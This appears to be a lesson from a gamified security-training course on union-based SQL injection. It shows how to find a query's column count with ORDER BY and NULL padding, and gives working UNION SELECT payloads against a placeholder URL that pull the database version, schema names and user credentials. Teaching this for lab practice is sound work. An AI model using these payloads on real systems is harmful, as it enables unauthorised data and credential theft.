Union-based SQL injection is one of the most powerful and commonly used techniques. It leverages the UNION SQL operator to combine results from multiple SELECT statements, allowing attackers to extract data from other tables in the database.
Now that we can identify SQL injection points, we will learn how to exploit them using UNION SELECT statements to extract valuable data from the database.
The UNION operator combines the result sets of two or more SELECT statements. For UNION to work, both SELECT statements must have the same number of columns with compatible data types.
-- Original query
SELECT id, name, price FROM products WHERE id = 1
-- Injected query
SELECT id, name, price FROM products WHERE id = 1
UNION SELECT username, password, NULL FROM users--Before using UNION SELECT, you must determine the number of columns in the original query. This can be done using ORDER BY or UNION SELECT with incremental NULL values.
# Method 1: ORDER BY
http://target.com/product.php?id=1 ORDER BY 1--
http://target.com/product.php?id=1 ORDER BY 2--
http://target.com/product.php?id=1 ORDER BY 3--
http://target.com/product.php?id=1 ORDER BY 4-- # Error = 3 columns
# Method 2: UNION SELECT
http://target.com/product.php?id=1 UNION SELECT NULL--
http://target.com/product.php?id=1 UNION SELECT NULL,NULL--
http://target.com/product.php?id=1 UNION SELECT NULL,NULL,NULL-- # Success💡 In Oracle databases, you must use FROM dual with each NULL: UNION SELECT NULL FROM dual--
Once you know the column count, you can extract data by replacing NULLs with the information you want to retrieve.
# Extract database version
http://target.com/product.php?id=1 UNION SELECT 1,version(),3--
# Extract current database name
http://target.com/product.php?id=1 UNION SELECT 1,database(),3--
# Extract table names
http://target.com/product.php?id=1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
# Extract column names
http://target.com/product.php?id=1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--
# Extract user credentials
http://target.com/product.php?id=1 UNION SELECT 1,concat(username,':',password),3 FROM users--| Information | MySQL | PostgreSQL | MSSQL |
|---|---|---|---|
| Version | version() | version() | @@version |
| Current DB | database() | current_database() | db_name() |
| Tables | information_schema.tables | information_schema.tables | information_schema.tables |
| Columns | information_schema.columns | information_schema.columns | information_schema.columns |
⚠️ UNION injection requires visible output. If the application doesn't display query results, consider blind injection techniques instead.
Let's walk through a complete UNION injection attack against a vulnerable product page.
Verify exercises to earn ★ 150 XP and unlock next lab level.